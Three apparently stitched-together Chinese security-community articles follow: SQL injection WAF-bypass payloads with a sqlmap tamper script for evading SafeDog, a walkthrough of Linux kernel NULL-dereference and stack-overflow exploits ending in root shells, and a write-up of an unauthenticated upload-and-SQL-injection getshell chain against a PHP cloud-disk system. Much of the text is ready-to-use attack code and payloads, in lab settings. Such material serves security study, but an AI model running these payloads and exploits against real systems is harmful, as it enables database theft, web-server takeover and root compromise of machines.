from/*!information_schema.tables*/
结果如下
显然这种是不可行的，但是我们知道还有一种的话就是内联注释的利用方法就是中间加注释符再加换行，也就是`/*!%23%0a*/`这种形式，我们先进行本地测试
mysql> select /*!#
-> 1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!#/*
-> 1*/
-> ;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
此时经过本地测试发现，当运用内联注释时，里面插入/*，来构造`/**/`，也是可以实现绕过的，此时我们先试本地测试的第一种方法
?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23%0ainformation_schema.tables*/ where table_schema='security'--+
此时被绕过，那我们就用刚刚测试出来的第二种方法进行尝试
?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23/*%0ainformation_schema.tables*/ where table_schema='security'--+
此时想有没有可能是过滤了%23,我们将%23换成`--+`
构造payload如下
?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/ where table_schema='security'--+
得到了全部表
# 爆列
有了表名的注入，那么注入列名也不是件太难的事情，修改一下语句即可，构造payload如下
?id=-1' union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/ where table_name='users'--+
# 爆字段信息
同理，修改语句即可
?id=-1' union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+
# 其他姿势
## like["%23"]
在学习其他师傅的文章时，偶然间发现这个`like["%23"]`，这个的话我们知道%23是注释符的含义，那么在这里的时候，它这个语句到底有什么作用呢，我们测试一下就知道了
首先先正常查一个字段信息
select * from users where id=1 ;
此时可以发现有一个结果，我们加上我们的`like["%23"]`，构造payload如下
select * from users where id=1 like "[%23]";
此时表变成空的了，那我们如果此时这样构造payload
select * from users where id=1 like "[%23]" union select * from users;
我们知道前面`users where id=1 like "[%23]"`这个是空，那它这条语句就相当于
select * from users
如下图所示
那么此时我们就可以去我们的靶场进行测试，看是否能绕过
id=-1' like "[%23]" /*!10440union select*/ 1,2,3 --+
发现没有绕过，此时我们将union后的空格用换行符替代
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
此时就可以注入了，因此新的姿势就出现了，其他具体的不再列举，这里给出payload
//爆库
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,database/*!--+/*%0a()*/ --+
//爆表
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='security'--+
//爆列
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='users'--+
//爆字段
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(id,username,password)from/*!--+/*%0ausers*/--+
# tamper脚本
脚本如下
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:quan9i.top
"""
import re #导入re模块
import os #导入os模块
from lib.core.data import kb #导入sqlmap中lib\core\data中的kb函数,测试SQL注入的过程中,使用的配置文件事先全部被加载到了conf和kb
from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数，LOWEST = -100,LOWER = -50,LOW = -10,NORMAL = 0,HIGH = 10,HIGHER = 50,HIGHEST = 100
from lib.core.common import singleTimeWarnMessage#输出到sqlmap控制台的函数
from lib.core.enums import DBMS#一个数据库的枚举
__priority__ = PRIORITY.LOW#定义优先级为LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))# singleTimeWarnMessage() 用于在控制台中打印出警告信息
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!10000AND*/')
payload=payload.replace('OR','/*!10000OR*/')
payload=payload.replace('ORDER BY','ORDER/*////*/BY')
payload=payload.replace('()','/*!20553()*/')
payload=payload.replace('UNION SELECT','UNION/*/!*!**/SELECT')
payload=payload.replace('information_schema.tables','/*!%23%0ainformation_schema.tables*/')
return payload
示例如下
//检测可注入类型
python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --tamper=dog
破解数据库
python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --dbs --tamper=dog -v5
# 参考文献
<https://xz.aliyun.com/t/10479#toc-0>
<https://zhuanlan.zhihu.com/p/472880971>
<https://www.cnblogs.com/Cl0ud/p/14394627.html>
<https://cloud.tencent.com/developer/article/1856738>
<https://blog.csdn.net/weixin_39190897/article/details/115841059>
<https://blog.csdn.net/Drifter_Galaxy/article/details/108435339>
<https://www.freebuf.com/articles/web/321240.html>
<https://www.cnblogs.com/Cl0ud/p/14493204.html>
<https://www.cnblogs.com/Cl0ud/p/14394627.html> | 社区文章 |
主要记录一下学习muhe师傅的系列教程，记录其中的坑点。
muhe师傅的教程是在32位ubuntu环境下测试的，本文是在64位环境下测试，有很多地方需要修改，故记录本文，以供后来者学习。
附件在文末下载。
## 1\. NULL Dereference
#### （1）介绍
古老的Linux NULL pointer dereference exploit,映射0地址分配shellcode运行
#### （2）漏洞代码
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
int bug1_write(struct file *file,const char *buf,unsigned long len)
{
my_funptr();
return len;
}
static int __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!n");
create_proc_entry("bug1",0666,0)->write_proc = bug1_write;
return 0;
}
static void __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exitn");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
Makefile如下
obj-m := null_dereference.o
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
代码分析：my_funptr函数指针指向不定，可以劫持之后执行shellcode。
编译驱动后将*.ko打包进busybox文件系统中，以便挂载。
#### （3） PoC
//poc.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "xe9xeaxbexadx0b";//jmp 0xbadbeef
int main(){
mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "muhe", 4);
return 0;
}
$ gcc -**static** poc.c -o poc
$ cp poc ../../busybox-1.19.4/_install/usr
$ find . | cpio -o --format=newc > ../../rootfs_null_dereference.img
#### （4）调试PoC
QEMU启动
**启动方法1：**
`$ qemu-system-x86_64 -kernel linux-2.6.32.1/arch/x86/boot/bzImage -initrd
./rootfs_null_dereference.img -append "root=/dev/ram rdinit=/sbin/init"`
> ctrl+alt+1 VM显示
> ctrl+alt+2 监视器控制台
切换到监视器控制台：（QEMU）`gdbserver tcp::1234`
**启动方法2：**
#start.sh 脚本
qemu-system-x86_64 \
-m 256M \
-kernel linux-2.6.32.1/arch/x86/boot/bzImage \
-initrd ./rootfs_null_dereference.img \
-append "root=/dev/ram rdinit=/sbin/init" \
-s
然后用gdb去连接。
$ gdb vmlinux
gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
current_thread_info () at /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186
186 (current_stack_pointer & ~(THREAD_SIZE - 1));
gdb-peda$ b *0x0
Breakpoint 1 at 0x0
gdb-peda$ c
Continuing.
QEMU切换到VM显示，挂载驱动null_dereference.ko后运行poc程序。
$ insmod nulldereference.ko
$ ./usr/poc
gdb中反汇编查看当前执行的指令。
gdb-peda$ pdisass $pc
Dump of assembler code from 0x0 to 0x20:: Dump of assembler code from 0x0 to 0x20:
=> 0x0000000000000000 <per_cpu__irq_stack_union+0>: jmp 0xbadbeef
0x0000000000000005 <per_cpu__irq_stack_union+5>: add BYTE PTR [rax],al
0x0000000000000007 <per_cpu__irq_stack_union+7>: add BYTE PTR [rax],al
0x0000000000000009 <per_cpu__irq_stack_union+9>: add BYTE PTR [rax],al
#### （5）exploit
**（5-1）思路**
给当前进程赋予root权限，执行`commit_creds(prepare_kernel_cred(0));`。
#获取commit_creds()和prepare_kernel_cred()地址
$ cat /proc/kallsyms | grep commit_creds
$ cat /proc/kallsyms | grep prepare_kernel_cred
**（5-2）编写shellcode**
xor %rax,%rax
call 0xffffffff81083610
call 0xffffffff81083420
ret
$ gcc -o payload payload.s -nostdlib -Ttext=0
$ objdump -d payload
payload: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <__bss_start-0x20000e>:
0: 48 31 c0 xor %rax,%rax
3: e8 08 36 08 81 callq ffffffff81083610 <_end+0xffffffff80e83600>
8: e8 13 34 08 81 callq ffffffff81083420 <_end+0xffffffff80e83410>
d: c3 retq
得到shellcode。
shellcode="\x48\x31\xc0\xe8\x08\x36\x08\x81\xe8\x13\x34\x08\x81\xc3"
我们需要分配0地址空间然后放入shellcode，然后jmp过去执行shellcode，使当前进程有root权限，然后执行一个`system("/bin/sh");`在程序返回用户态之后拿到一个root的shell。
**（5-3）explot**
//$ gcc -static exploit.c -o exp
//exploit.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "\x48\x31\xc0\xe8\x08\x36\x08\x81\xe8\x13\x34\x08\x81\xc3";
int main()
{
mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "muhe", 4);
system("/bin/sh");//get root shell
return 0;
}
#### （6）get root shell
新建用户测试exploit。
$ insmod nulldereference.ko #加载漏洞模块
$ touch /etc/passwd
$ adduser john
$ touch /etc/group
$ su john
$ whoami
john
$ /usr/exp
#报错sementation fault，这是因为，2.6.32内核已经使用mmap_min_addr作为缓解措施mmap_min_addr为4096，需要设置下mmap_min_addr。
$ exit
$ sysctl -w vm.mmap_min_addr="0"
$ su john
$ /usr/exp
## 2\. Kernel Stack Overflow
#### （1）漏洞代码
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
int bug2_write(struct file *file,const char *buf,unsigned long len)
{
char localbuf[8];
memcpy(localbuf,buf,len);
return len;
}
static int __init stack_smashing_init(void)
{
printk(KERN_ALERT "stack_smashing driver init!n");
create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
return 0;
}
static void __exit stack_smashing_exit(void)
{
printk(KERN_ALERT "stack_smashing driver exit!n");
}
module_init(stack_smashing_init);
module_exit(stack_smashing_exit);
简单的栈溢出漏洞。
# Makefile
obj-m := stack_smashing.o
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
#### （2）PoC
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
char buf[48] = {0};
memset(buf,"A",48);
*((void**)(buf + 32)) = 0x4242424242424242;
int fd = open("/proc/bug2",O_WRONLY);
write(fd,buf,sizeof(buf));
}
`$ insmod ./stack_smashing.ko`
QEMU起内核后运行poc_stack直接崩溃，为了简便，需关闭cannary选项，重新编译内核。
编辑.config文件，注释掉CONFIG_CC_STACKPROTECTOR这一行，然后重新编译内核，再重新编译stack_smashing.ko（程序之前编译时是支持canary的，checksec查看即可）。
再跑POC。
`$ insmod ./stack_smashing.ko`
发现RIP被劫持为0x4242424242424242。
#start_stack_smashing.sh
qemu-system-x86_64 \
-m 256M \
-kernel linux-2.6.32.1/arch/x86/boot/bzImage \
-initrd ./rootfs_stack_smashing.img \
-append "root=/dev/ram rdinit=/sbin/init" \
-s
#QEMU命令
$ cat /sys/module/stack_smashing/sections/.texts
0xffffffffa0000000
#gdb调试命令 (可以用gdb脚本更方便)
$ gdb vmlinux
$ target remote :1234
$ add-symbol-file ./stack_smashing.ko 0xffffffffa0000000
$ b bug2_write
$ c
#gdb.sh脚本
gdb \
-ex "add-auto-load-safe-path $(pwd)" \
-ex "file ../../linux-2.6.32.1/vmlinux" \
-ex 'target remote localhost:1234' \
-ex 'add-symbol-file ./stack_smashing.ko 0xffffffffa0000000' \
-ex 'b bug2_write' \
-ex 'c'
$ x /20iw $pc
$ b *0xffffffffa0000022 # ret处下断
$ c
$ ni
Warning: not running or target is remote
0x4242424242424242 in ?? ()
#### （3）exploit
**1.思路**
利用`commit_creds(prepare_kernel_cred(0))`，然后返回到用户模式先执行swapgs，再执行iret。
当使用IRET指令返回到相同保护级别的任务时，IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器，并弹出标志寄存器内容到EFLAGS寄存器，还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。
struct trap_frame
{
void* eip; // instruction pointer +0
uint32_t cs; // code segment +4
uint32_t eflags; // CPU flags +8
void* esp; // stack pointer +12
uint32_t ss; // stack segment +16
} __attribute__((packed));
**2.编写exploit**
//gcc exp.c -static -masm=intel -g -o exp_stack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
struct trap_frame{
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
}__attribute__((packed));
struct trap_frame tf;
size_t addr=&tf; //user_rip
void get_shell(void){
system("/bin/sh");
}
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
tf.user_rip = &get_shell;
tf.user_cs = user_cs;
tf.user_rflags = user_rflags;
tf.user_sp = user_sp-0x1000; //why?
tf.user_ss = user_ss;
puts("[*]status has been saved.");
}
#define KERNCALL __attribute__((regparm(3)));
size_t prepare_kernel_cred=0xffffffff81083330; //How to find this address?
size_t commit_creds=0xffffffff81083140;
void payload(void){
//payload here
char* (*pkc)(int)=prepare_kernel_cred;
void (*cc)(char*)=commit_creds;
(*cc)((*pkc)(0));
asm(
"swapgs;" //exchange GS
"mov rsp, addr;"
"iretq;");
}
int main(void){
char buf[48];
memset(buf,0x41,48);
*((void**)(buf+32)) = &payload; //set rip to payload
save_status();
//write(1,buf,sizeof(buf));
int fd = open("/proc/bug2",O_WRONLY);
//exploit
write(fd,buf,sizeof(buf));
return 0;
}
调试：
#gdb
$ ./gdb.sh
$ x /20iw $pc
$ b *0xffffffffa0000022 #ret处下断点
$ c
$ stack
由于muhe的教程是32位的，在64位系统上测试时需要修改exp，主要有以下几点：
* asm内联汇编：iret -> iretq 。
* 32位居然不需要"swapgs"来切换 GS 段寄存器。
* cat /proc/kallsyms 找提权函数地址
* * *
#### 参考：
<https://www.anquanke.com/post/id/85837>
<https://www.anquanke.com/post/id/85840>
<https://www.anquanke.com/post/id/85848> | 社区文章 |
### 0x0 xxxdisk
XXXDISK网盘系统[简称：XXXDISK]，是国内最大的网络存储、云存储系统开发及服务提供商，长期专注于网络存储系统开发，是一套采用PHP和MySQL构建的网络硬盘(文件存储管理)系统，可替代传统的FTP文件管理。友好的界面，操作的便捷深受用户的欢迎。
她是一套可用于网络上文件办公、共享、传递、查看的多用户文件存储系统。广泛应用于互联网、公司、网吧、学校等地管理及使用文件，多方式的共享权限，全方位的后台管理，满足从个人到企业各方面应用的需求。
最新版的下载地址为:
<http://bbs1.phpdisk.com/thread-5384-1-1.html>
### 0x1 起步
之所以审计这套系统，是因为学校用的就是这个，在用历史漏洞拿下之后，学校给打上了补丁。但是，后来看着乌云上雨师傅、P牛等都审计出不少洞，想着如果我也审计出几个洞，是不是也能在几年之后变得那么强。于是就杠上了这套系统了。最后，在Windows平台的GBK版本上，挖掘到了一个无需登录的前台Getshell。
至于如何查看是啥版本，查看返回包的charset就行了。这里不多说，具体的瞅一眼代码就行。
### 0x2 Windows文件上传绕过
本系统默认情况下的所有限制后缀都是通过黑名单的，此前也缝缝补补过好几个任意文件上传漏洞，但是作者忽略了或者说根本不了解Windows下的NTFS
ADS流的[trick](https://xz.aliyun.com/t/2539)。来看看此程序上传部分的逻辑。
所有文件上传操作都被封装在`upload_file`函数中。
看看有哪些文件上传的地方：
总共有两处调用：第一处就是网站核心功能的文件上传，而第二处是给C/S客户端使用的，但是由于之前此处出现过很多次文件上传问题，已经被处理的没有办法使用了。
具体问题就是，默认此功能被修改成关闭了，原来雨牛挖掘的绕过签名，已经没办法使用了:
elseif(!$settings[open_phpdisk_client]){
$str = '总之就是没办法用了';
if(is_utf8()){
echo convert_str('utf-8','gbk',$str);
}else{
echo $str;
}
exit;
所以我们来看看第一处的文件上传, 位于`modules/upload.inc.php`。
使用`get_real_ext`函数处理了后缀。
`get_real_ext`通过黑名单`filter_extension`对后缀进行修改添加`.txt`防止解析。
此处很明显可以绕过，如果我们控制文件名为`1.php:$data`的话就可以绕过此处限制了。
不过此处还存在两个需要解决的问题，一个就是文件真实名称是强随机生成的，以及需要找到无需登录的上传利用点。
### 0x3 权限绕过
此程序为网盘程序，所以自然而然的需要用户登录才能上传。但是，来看看程序逻辑`mydisk.php`：
需要经过`phpdisk_core::user_login();`,才能包含`upload`模块，上传文件。
我们来看看这个类方法的逻辑。
居然认证没通过只是302，并没有exit，所以此处可以无授权访问上传功能。
### 0x4 未授权上传
组合起来利用，构造文件上传包：
可以看到成功上传了。
但是还需要解决获取真实文件名的问题。这里有三种思路：
* 找到sql注入，注入出真实文件名
* 删除`index.htm`，达成目录遍历
* 使用Windows下的部分PHP函数的正则匹配（案例：DEDECMS寻找后台）
我太菜了，这里只找到了几个sql注入，后面两种都没有实现。
### 0x5 宽字节注入若干
此程序分为两个版本utf-8与gbk版，所以难免会有一些编码转换的地方，所以也难免发生不小心没有注意的地方。这里封装了一个编码转换的函数`convert_str`,大多数编码转换都是使用使用的这个函数，但是这里都做了多次转义。搜索一下`iconv`，会找到几处宽字节注入的。有一个是在UTF-8版本下的，但是位于客户端部分，需要开启了客户端才行。。。所以这里也限制了缺省条件下必须使用GBK版本。
这里利用的是位于`ajax.php`的一处宽字节注入：
由于这个系统有全局过滤，所以想找到注入还是比较困难的，这里存在一个`$file =
unserialize(base64_decode($data));`，`$data`是我们输入的，绕过了过滤。
将我们的输入base64解码后，反序列化成数组对象，最后传入sql语句。
`$db->query_unbuffered(is_utf8() ? $sql : iconv('utf-8','gbk',$sql));`
最后执行语句的时候存在一处编码转换，也是这里直接导致了注入。
并且是个比较好的利用点，这里是insert语句，存在回显，不用写脚本盲注。
### 0x6 最终利用
最后，我们将这几个串联起来，就成了一个无需登录的Getshell，整条漏洞利用链为:
1. 上传文件
1. 通过注入获取文件真实名称(其实也能直接注入获取管理员密码(md5)，然后把黑名单修改一下)
这里需要注意的是，为了获取回显，需要在insert中将文件属性`in_share`设置为1，这样就能未授权访问文件相关信息了。并且需要挑选足够合适的回显位。
除了`file_name`以及`file_description`两个字段，其他字段长度都是不够存放回显的。这里我使用`file_name`作为注入点，一开始偷懒想直接使用mysql的强制类型转换(`select
''+hex((select
user))`)，把hex数据取出的，但是长度过长，精度丢失了...所以老老实实用`file_description`传出数据吧。
payload:
注入成功
1. 获取回显
注入成功后，就需要想办法获取回显了，想要查看文件信息，需要获取文件ID。
这里其实如果你有账号的话（默认有测试账号并且允许注册），可以自己上传一个文件获取file_id，然后减1就是上个文件的file_id了。不过这里我们是无账号的前提条件,所以可以通过爆破，也挺快的。通过最近上传获取到位置靠后的文件，然后爆破一下file_id就行了。
最后找到了正确的文件id，访问即可在访问处获取真实文件名了。
2. getshell
### 结语
最后这个程序已经停止更新维护了，所以发出来仅供学习参考。审计了几天，有点疲软，最后学校的那套系统不知道什么毛病，数据库一直报错，也没能利用成功2333。 | 社区文章 |
Subsets and Splits